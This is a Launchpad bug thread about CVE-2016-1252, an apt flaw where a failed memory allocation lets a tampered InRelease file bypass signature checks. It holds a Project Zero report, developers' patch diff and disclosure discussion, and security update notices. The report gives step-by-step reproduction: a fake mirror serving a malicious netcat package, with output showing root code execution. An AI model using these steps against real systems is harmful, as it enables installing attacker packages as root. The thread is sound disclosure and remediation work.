InRelease file splitter treats getline() errors as EOF

[Julian Andres Klode]

We have just been made aware of a security bug upstream that affects the validation of signatures on InRelease file. This bug is to track progress for it.

It allows for attacking a repository via MITM attacks, circumventing the signature of the InRelease file.

It works by making a call to getline() fail with ENOMEM, which is not documented as an error for that but follows from the fact that getline() can allocate memory. In such a case, apt would treat the first part of the file as a valid release file.

= Original bug report =
From: Jann Horn <email address hidden>
To: <email address hidden>
Cc:
Date: Mon, 5 Dec 2016 18:33:09 +0100
Subject: apt: repository signing bypass via memory allocation failure

== Vulnerability ==
When apt-get updates a repository that uses an InRelease file (clearsigned
Release files), this file is processed as follows:
First, the InRelease file is downloaded to disk.
In a subprocess running the gpgv helper, "apt-key verify" (with some more
arguments) is executed through the following callchain:

gpgv.cc:main -> pkgAcqMethod::Run -> GPGVMethod::URIAcquire
  -> GPGVMethod::VerifyGetSigners -> ExecGPGV

ExecGPGV() splits the clearsigned file into payload and signature using
SplitClearSignedFile(), calls apt-key on these two files to perform the
cryptographic signature verification, then discards the split files and only
retains the clearsigned original. SplitClearSignedFile() ignores leading and
trailing garbage.

Afterwards, in the parent process, the InRelease file has to be loaded again
so that its payload can be processed. At this point, the code
isn't aware anymore whether the Release file was clearsigned or
split-signed, so the file is opened using OpenMaybeClearSignedFile(), which
first attempts to parse the file as a clearsigned (InRelease) file and extract
the payload, then falls back to treating the file as the file as a split-signed
(Release) file if the file format couldn't be recognized.

The weakness here is: If an attacker can create an InRelease file that
is parsed as a proper split-signed file during signature validation, but then
isn't recognized by OpenMaybeClearSignedFile(), the "leading garbage" that was
ignored by the signature validation is interpreted as repository metadata,
bypassing the signing scheme.

It first looks as if it would be impossible to create a file that is recognized
as split-signed by ExecGPGV(), but isn't recognized by
OpenMaybeClearSignedFile(), because both use the same function,
SplitClearSignedFile(), for parsing the file. However, multiple executions of
SplitClearSignedFile() on the same data can actually have different non-error
results because of a bug.
SplitClearSignedFile() uses getline() to parse the input file. A return code
of -1, which signals that either EOF or an error occured, is always treated
as EOF. The Linux manpage only lists EINVAL (caused by bad arguments) as
possible error code, but because the function allocates (nearly) unbounded
amounts of memory, it can actually also fail with ENOMEM if it runs out of
memory.
Therefore, if an attacker can cause the address space in the main apt-get
process to be sufficiently constrained to prevent allocation of a large line
buffer while the address space of the gpgv helper process is less constrained
and permits the allocation of a buffer with the same size, the attacker can use
this to fake an end-of-file condition in SplitClearSignedFile() that causes the
file to be parsed as a normal Release file.

A very crude way to cause such a constraint on a 32-bit machine is based on
abusing ASLR. Because ASLR randomizes the address space after each execve(),
thereby altering how much contiguous virtual memory is available, an allocation
that attempts to use the average available virtual memory should ideally succeed
50% of the time, resulting in an upper limit of 25% for the success rate of the
whole attack. (That's not very effective, and a real attacker would likely want
a much higher success rate, but it works for a proof of concept.)
This is not necessarily a limitation of the vulnerability, just a limitation
of the way the exploit is designed.

I think that it would make sense to fix this as follows:
 - Set errno to 0 before calling getline(), verify that it's still 0 after
   returning -1, treat it as an error if errno isn't 0 anymore.
 - Consider splitting the InRelease file only once, before signature validation,
   and then deleting the original clearsigned file instead of the payload file.
   This would get rid of the weakness that the file is parsed twice and parsing
   differences can have security consequences, which is a pretty brittle design.
 - I'm not sure whether this bug would have been exploitable if the parser for
   split files or the parser for Release files had been stricter. You might want
   to consider whether you could harden this code that way.

== Reproduction instructions ==
These steps are probably more detailed than necessary.

First, prepare a clean Debian VM for the victim:

 - download debian-8.6.0-i386-netinst.iso (it is important that this
   is i386 and not amd64)
 - install Virtualbox (I'm using version 4.6.36 from Ubuntu)
 - create a new VM with the following properties:
  - type "Linux", version "Debian (32-bit)"
  - 8192 MB RAM (this probably doesn't matter much, especially
    if you enable swap)
  - create a new virtual harddrive, size 20GB (also doesn't matter much)
 - launch the VM, insert the CD
 - pick graphical install
 - in the installer, use defaults everywhere, apart from enabling Xfce
   in the software selection

After installation has finished, log in, launch a terminal,
"sudo nano /etc/apt/sources.list", change the "deb" line for jessie-updates
so that it points to some unused port on the host machine instead of
the proper mirror
("deb http://192.168.0.2:1337/debian/ jessie-updates main" or so).
This simulates a MITM attack or compromised mirror.

On the host (as the attacker):

$ tar xvf apt_sig_bypass.tar
apt_sig_bypass/
apt_sig_bypass/debian/
apt_sig_bypass/debian/netcat-evil.deb
apt_sig_bypass/debian/dists/
apt_sig_bypass/debian/dists/jessie-updates/
apt_sig_bypass/debian/dists/jessie-updates/InRelease.part1
apt_sig_bypass/debian/dists/jessie-updates/main/
apt_sig_bypass/debian/dists/jessie-updates/main/binary-i386/
apt_sig_bypass/debian/dists/jessie-updates/main/binary-i386/Packages
apt_sig_bypass/make_inrelease.py
$ cd apt_sig_bypass/
$ curl --output debian/dists/jessie-updates/InRelease.part2
http://ftp.us.debian.org/debian/dists/jessie-updates/InRelease
  % Total % Received % Xferd Average Speed Time Time Time Current
                                 Dload Upload Total Spent Left Speed
100 141k 100 141k 0 0 243k 0 --:--:-- --:--:-- --:--:-- 243k
$ ./make_inrelease.py
$ ls -lh debian/dists/jessie-updates/InRelease
-rw-r--r-- 1 user user 1.3G Dec 5 17:13 debian/dists/jessie-updates/InRelease
$ python -m SimpleHTTPServer 1337 .
Serving HTTP on 0.0.0.0 port 1337 ...

Now, in the VM, as root, run "apt-get update".
It will probably fail - run it again until it doesn't fail anymore.
The errors that can occur are "Clearsigned file isn't valid" (when the
allocation during gpg verification fails) and some message about
a hash mismatch (when both allocations succeed). After "apt-get update"
has succeeded, run "apt-get upgrade" and confirm the upgrade. The result should
look like this (server IP censored, irrelevant output removed and marked with
"[...]"):

root@debian:/home/user# apt-get update
Get:1 http://{{{SERVERIP}}}:1337 jessie-updates InRelease [1,342 MB]
[...]
Hit http://ftp.us.debian.org jessie-updates InRelease
[...]
100% [1 InRelease gpgv 1,342 MB]
                28.6 MB/s 0sSplitting up
/var/lib/apt/lists/partial/{{{SERVERIP}}}:1337_debian_dists_jessie-updates_InRelease
intIgn http://{{{SERVERIP}}}:1337 jessie-updates InRelease
E: GPG error: http://{{{SERVERIP}}}:1337 jessie-updates InRelease:
Clearsigned file isn't valid, got 'NODATA' (does the network require
authentication?)

root@debian:/home/user# apt-get update
[...]
Get:1 http://{{{SERVERIP}}}:1337 jessie-updates InRelease [1,342 MB]
[...]
Hit http://ftp.us.debian.org jessie-updates InRelease
Get:4 http://{{{SERVERIP}}}:1337 jessie-updates/main i386 Packages [170 B]
[...]
Fetched 1,349 MB in 55s (24.4 MB/s)
Reading package lists... Done

root@debian:/home/user# apt-get upgrade
Reading package lists... Done
Building dependency tree
Reading state information... Done
Calculating upgrade... Done
The following packages will be upgraded:
  netcat-traditional
1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 666 B of archives.
After this operation, 109 kB disk space will be freed.
Do you want to continue? [Y/n]
Get:1 http://{{{SERVERIP}}}:1337/debian/ jessie-updates/main
netcat-traditional i386 9000 [666 B]
Fetched 666 B in 0s (0 B/s)
Reading changelogs... Done
dpkg: warning: parsing file '/var/lib/dpkg/tmp.ci/control' near line 5
package 'netcat-traditional':
 missing description
dpkg: warning: parsing file '/var/lib/dpkg/tmp.ci/control' near line 5
package 'netcat-traditional':
 missing maintainer
(Reading database ... 86469 files and directories currently installed.)
Preparing to unpack .../netcat-traditional_9000_i386.deb ...
arbitrary code execution reached
uid=0(root) gid=0(root) groups=0(root)
[...]

As you can see, if the attacker gets lucky with the ASLR randomization, there
are no security warnings and "apt-get upgrade" simply installs the malicious
version of the package. (The dpkg warnings are just because I created a minimal
package file, without some of the usual information.)

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

[Julian Andres Klode (juliank)]

Note that we already have an unapproved APT release for xenial-proposed in the queue. It would be sort of nice if we could avoid a 1.2.15<something> security upload while 1.2.17 is in -proposed.

The fix might take a few weeks, and the bug is subject to a 90 days disclosure, starting today.

[Julian Andres Klode (juliank)]

The bug was that the return value of getline() was checked for EOF - but getline() also returns on out-of-memory conditions which are thus treated as a end of file.

The attached patch should fix that, but further testing is warranted. If this fix is correct, I'd like to push for a co-ordinated update soon, possibly tomorrow.

[Julian Andres Klode (juliank)]

AFAICT, this affects all release series except for precise, which does not have splitting, and has InRelease disabled completely.

[Julian Andres Klode (juliank)]

Let's reduce the importance. The bug is likely not exploitable in zesty, yakkety and xenial, since all those releases have a size limit of 10 MB for release files.

[Julian Andres Klode (juliank)]

I'll think a bit more about procedure during sleep. I plan to have the new upstream 1.4~beta2 ready to go tomorrow to fix this issue - zesty currently has 1.3.1 still, 1.4~beta2 is in -proposed already, not sure how that's supposed to be handled (I guess we want to do a 1.3.1 security fix upload for zesty and yakkety. Preferably I'd do a 1.3.2 release "upstream" with just that fix).

I did not have the chance to verify the bug at all yet because I don't really have old apt's lying around and increasing the limit also does not seem to expose it yet. Still, this seems to be a real
problem, so we should indeed fix it everywhere.

I'll let my laptop idle during the night, and will be back at around 9:00 CET for discussing things. Contact me in IRC /query if you can and want to discuss this.

[Seth Arnold (seth-arnold)]

Feel free to take your time on zesty if you want to get it in via e.g. 1.4~beta3 or 1.4.1 or whatever. It's nice to get fixes into devel quickly for those who run it but we don't promise security support for it the same way we do the released releases.

Also note that vivid and wily are EOL. Even though vivid's zombie lives on in Ubuntu touch and snappy core I think the headline feature of those platforms is image-based updates, not apt-based updates, so I suspect we can ignore even vivid.

Thanks

[Julian Andres Klode (juliank)]

Updated patch attached. This one works differently by putting getline into its own helper function that reports the error, and then aborting after the loop if an error occured inside of it.

This makes it a bit safer.

[Julian Andres Klode (juliank)]

And a fix for writing buffered files: Flush them before checking for errors.

[Julian Andres Klode (juliank)]

Note that the Debian security team will give us a CVE for that. I'll also drop vivid and wily as per seth's comment.

I hope to have debdiffs for all affected releases within the next 7 hours.

[Marc Deslauriers (mdeslaur)]

Hi! When exactly is the CRD for this issue?

I'm confused by your "The fix might take a few weeks, and the bug is subject to a 90 days disclosure, starting today." statement.

[Julian Andres Klode (juliank)]

Sorry about that Marc. There is no real coordination yet, apparently I'm moving a bit too fast for security teams to keep up :)

We received the bug report yesterday from Google with their usual 90 day disclosure deadline:
"This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public."

The fix was simpler than I thought as I misunderstood the initial suggestions (it was a list, I thought we needed to do all in it, but just one thing is enough...). My intention is to provide the fixes today for all affected Debian and Ubuntu releases, in the form of debdiffs in this bug for the Ubuntu ones, to enable some work.

That said, I have no idea how much coordination is needed from security folks, so I'm not sure when we will be able to publicly release it - You guys need to figure that out. I sort of feel offended by security bugs, so I'd really love to move fast on these :)

I'm not a fan of responsible disclosure. I consider it an irresponsible practice, but that's my personal opinion, and if people want to play the game of withholding fixes until everyone catches up, I'm willing to play along for a few days, but not very long.

[Marc Deslauriers (mdeslaur)]

We're going to need a couple of days for testing it before releasing.

Assuming we have the final patches, would a CRD of 2016-12-13 17:00:00 UTC work for everyone?

[Julian Andres Klode (juliank)]

Especially because the fix is so tiny and can easily be applied to any affected apt version, and I only know three distributions shipping a self-built apt (Debian, Ubuntu, Tanglu), I'd like to get this rolled out in the next 34 hours basically (until Wed 23:59 CET). I'd be happy extending that to Thu 23:59 CET if that gets a few more distros on board that for whatever reasons ship a self-built apt. But I would not want to hold a fix for Debian and Ubuntu back for longer than that to give 1% or so the time to fix up things, as that would be irresponsible.

Release procedure:

For yakkety, the fix will be a new 1.3.2 "upstream" micro release containing just that fix, so I'll just provide a debdiff for that.

For xenial, there will be a new 1.2.18 upstream micro release, but as 1.2.17 is stuck in the queue for proposed, I can also provide a 1.2.15ubuntu0.1 (did I get that right?) debdiff for security. Once the security upload has been done, I'll replace 1.2.17 with 1.2.18 in the proposed queue.

For trusty, I will provide a debdiff for 1.0.1ubuntu2.16.

[Julian Andres Klode (juliank)]

Really - 7 days is like crazy long. The fix is basically a simple matter of checking if errno is 0 and returning false in case it is. What do you want to do 7 days testing it?

[Julian Andres Klode (juliank)]

The yakkety one is basically an upstream release (1.3.2), hence a bit more automated churn in there to update the version number by the build system.

I won't attach the one for 1.2.18 for xenial-proposed, as that's basically the same as 1.3.2, just against 1.2.17 - and we need to get 1.2.15 done first.

[Julian Andres Klode (juliank)]

Might need some more work with pushing the error stack, so we really only return on errors that occured inside the function and not outside - which _might_ prevent other repositories from updating (or at least, it's a weird API).

[Marc Deslauriers (mdeslaur)]

Could you please clarify your last comment? Does that mean the proposed fix is incorrect?

[Julian Andres Klode (juliank)]

It might introduce a regression on 1.1 and newer releases (everything but trusty), such that if one repository is attacked, all repositories would be blocked. Sorry, I thought you were CCed on that email, but it seems this was in another sub-thread without an Ubuntu CC.

David wrote we need something like this:

diff --git a/apt-pkg/contrib/gpgv.cc b/apt-pkg/contrib/gpgv.cc
index b49569ae6..f9fe6b546 100644
--- a/apt-pkg/contrib/gpgv.cc
+++ b/apt-pkg/contrib/gpgv.cc
@@ -315,6 +315,7 @@ bool SplitClearSignedFile(std::string const &InFile, FileFd * const ContentFile,

    char *buf = NULL;
    size_t buf_size = 0;
+ _error->PushToStack();
    while (GetLineErrno(&buf, &buf_size, in, InFile) != -1)
    {
       _strrstrip(buf);
@@ -386,9 +387,10 @@ bool SplitClearSignedFile(std::string const &InFile, FileFd * const ContentFile,
       ContentFile->Flush();

    // An error occured during reading - propagate it up
- if (_error->PendingError()) {
+ bool const hasErrored = _error->PendingError();
+ _error->MergeWithStack();
+ if (hasErrored)
       return false;
- }

    if (found_signature == true)
       return _error->Error("Signature in file %s wasn't closed", InFile.c_str());

I'll add that tomorrow morning, and then we can eye for a release next week, so you can get your proposed date if nobody disagrees :)

[Tyler Hicks (tyhicks)]

Hi Julian - I plan to publish the yakkety, xenial, and trusty apt security updates at 2016-12-13 17:00:00 UTC. Test results look good. Thanks for the debdiffs.

[Launchpad Janitor (janitor)]

This bug was fixed in the package apt - 1.3.2ubuntu0.1

---------------
apt (1.3.2ubuntu0.1) yakkety-security; urgency=high

  * Hack around Ubuntu rejecting symlink copyright
  * SECURITY UPDATE: gpgv: Check for errors when splitting files (CVE-2016-1252)
    Thanks to Jann Horn, Google Project Zero for reporting the issue
    (LP: #1647467)
  * gpgv: Flush the files before checking for errors

 -- Julian Andres Klode <email address hidden> Thu, 08 Dec 2016 15:22:30 +0100

[Launchpad Janitor (janitor)]

This bug was fixed in the package apt - 1.2.15ubuntu0.2

---------------
apt (1.2.15ubuntu0.2) xenial-security; urgency=high

  * SECURITY UPDATE: gpgv: Check for errors when splitting files (CVE-2016-1252)
    Thanks to Jann Horn, Google Project Zero for reporting the issue
    (LP: #1647467)
  * gpgv: Flush the files before checking for errors

 -- Julian Andres Klode <email address hidden> Thu, 08 Dec 2016 15:28:08 +0100

[Launchpad Janitor (janitor)]

This bug was fixed in the package apt - 1.0.1ubuntu2.17

---------------
apt (1.0.1ubuntu2.17) trusty-security; urgency=high

  * SECURITY UPDATE: gpgv: Check for errors when splitting files (CVE-2016-1252)
    Thanks to Jann Horn, Google Project Zero for reporting the issue
    (LP: #1647467)

 -- Julian Andres Klode <email address hidden> Thu, 08 Dec 2016 15:31:29 +0100

[Launchpad Janitor (janitor)]

This bug was fixed in the package apt - 1.4~beta2

---------------
apt (1.4~beta2) unstable; urgency=high

  [ John R. Lenton ]
  * bash-completion: Only complete understood file paths for install
    (LP: #1645815)

  [ Julian Andres Klode ]
  * SECURITY UPDATE: gpgv: Check for errors when splitting files (CVE-2016-1252)
    Thanks to Jann Horn, Google Project Zero for reporting the issue
    (LP: #1647467)
  * gpgv: Flush the files before checking for errors

 -- Julian Andres Klode <email address hidden> Thu, 08 Dec 2016 15:21:16 +0100

[Brian Murray (brian-murray)]

The verification of the Stable Release Update for apt has completed successfully and the package has now been released to -updates. Subsequently, the Ubuntu Stable Release Updates Team is being unsubscribed and will not receive messages about this bug report. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions.

[A. Denton (aquina)]

> It allows for attacking a repository via MITM attacks, circumventing the signature of the InRelease file.

> ("deb http://192.168.0.2:1337/debian/ jessie-updates main" or so). [..] This simulates a MITM attack or compromised mirror.

That sounds like it matters, where that InRelease file comes from, right? When I look into my /etc/apt/sources.list, I only see deb/dev-src http://<tld>.archive.ubuntu.com/... entries.

I think it would be much better, if Canonical servers would require TLS 1.x encryption (STS preferred) and thusly identify themselves with a proper cert, so machines/users can make sure (nation-state actors not taken into account) who they're talking to.

I think that would definitely make MITM and MOTS attacks more difficult. I'm aware of the signatures, i.e. present package security, though. Nonetheless, they do not seem to address the problem of transport security.